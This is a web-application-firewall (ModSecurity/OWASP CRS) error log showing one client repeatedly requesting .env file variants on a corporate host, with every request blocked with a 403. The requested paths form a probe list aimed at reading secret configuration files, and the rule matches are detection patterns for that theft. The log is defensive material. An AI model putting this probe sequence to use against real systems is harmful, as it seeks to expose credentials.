[Sun Oct 25 09:51:44.748428 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at4JcPWU2HQBncZeY47EvwAAAAQ"]
[Sun Oct 25 09:51:44.885434 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4JcPWU2HQBncZeY47EwAAAAAQ"]
[Sun Oct 25 09:51:44.885658 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4JcPWU2HQBncZeY47EwAAAAAQ"]
[Sun Oct 25 09:51:44.886004 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4JcPWU2HQBncZeY47EwAAAAAQ"]
[Sun Oct 25 09:51:45.021311 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at4JcfWU2HQBncZeY47EwQAAAAQ"]
[Sun Oct 25 09:51:45.021587 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at4JcfWU2HQBncZeY47EwQAAAAQ"]
[Sun Oct 25 09:51:45.021944 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at4JcfWU2HQBncZeY47EwQAAAAQ"]
[Sun Oct 25 09:51:45.158790 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at4JcfWU2HQBncZeY47EwgAAAAQ"]
[Sun Oct 25 09:51:45.159096 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at4JcfWU2HQBncZeY47EwgAAAAQ"]
[Sun Oct 25 09:51:45.159469 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at4JcfWU2HQBncZeY47EwgAAAAQ"]
[Sun Oct 25 09:51:45.295176 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at4JcfWU2HQBncZeY47EwwAAAAQ"]
[Sun Oct 25 09:51:45.295440 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at4JcfWU2HQBncZeY47EwwAAAAQ"]
[Sun Oct 25 09:51:45.295808 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at4JcfWU2HQBncZeY47EwwAAAAQ"]
[Sun Oct 25 09:51:45.432692 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at4JcfWU2HQBncZeY47ExAAAAAQ"]
[Sun Oct 25 09:51:45.432960 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at4JcfWU2HQBncZeY47ExAAAAAQ"]
[Sun Oct 25 09:51:45.433306 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at4JcfWU2HQBncZeY47ExAAAAAQ"]
[Sun Oct 25 09:51:45.576077 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at4JcfWU2HQBncZeY47ExQAAAAQ"]
[Sun Oct 25 09:51:45.576339 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at4JcfWU2HQBncZeY47ExQAAAAQ"]
[Sun Oct 25 09:51:45.576727 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at4JcfWU2HQBncZeY47ExQAAAAQ"]
[Sun Oct 25 09:51:45.714359 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at4JcfWU2HQBncZeY47ExgAAAAQ"]
[Sun Oct 25 09:51:45.714727 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at4JcfWU2HQBncZeY47ExgAAAAQ"]
[Sun Oct 25 09:51:45.715143 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at4JcfWU2HQBncZeY47ExgAAAAQ"]
[Sun Oct 25 09:51:45.856433 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at4JcfWU2HQBncZeY47ExwAAAAQ"]
[Sun Oct 25 09:51:45.856725 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at4JcfWU2HQBncZeY47ExwAAAAQ"]
[Sun Oct 25 09:51:45.857084 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at4JcfWU2HQBncZeY47ExwAAAAQ"]
[Sun Oct 25 09:51:46.000165 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at4JcfWU2HQBncZeY47EyAAAAAQ"]
[Sun Oct 25 09:51:46.000397 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at4JcfWU2HQBncZeY47EyAAAAAQ"]
[Sun Oct 25 09:51:46.000761 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at4JcfWU2HQBncZeY47EyAAAAAQ"]
[Sun Oct 25 09:51:46.135703 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at4JcvWU2HQBncZeY47EyQAAAAQ"]
[Sun Oct 25 09:51:46.135965 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at4JcvWU2HQBncZeY47EyQAAAAQ"]
[Sun Oct 25 09:51:46.136322 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at4JcvWU2HQBncZeY47EyQAAAAQ"]
[Sun Oct 25 09:51:46.276989 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at4JcvWU2HQBncZeY47EygAAAAQ"]
[Sun Oct 25 09:51:46.277247 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at4JcvWU2HQBncZeY47EygAAAAQ"]
[Sun Oct 25 09:51:46.277607 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at4JcvWU2HQBncZeY47EygAAAAQ"]
[Sun Oct 25 09:51:46.412696 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4JcvWU2HQBncZeY47EywAAAAQ"]
[Sun Oct 25 09:51:46.412942 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4JcvWU2HQBncZeY47EywAAAAQ"]
[Sun Oct 25 09:51:46.413257 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4JcvWU2HQBncZeY47EywAAAAQ"]
[Sun Oct 25 09:51:46.551301 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at4JcvWU2HQBncZeY47EzAAAAAQ"]
[Sun Oct 25 09:51:46.551563 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at4JcvWU2HQBncZeY47EzAAAAAQ"]
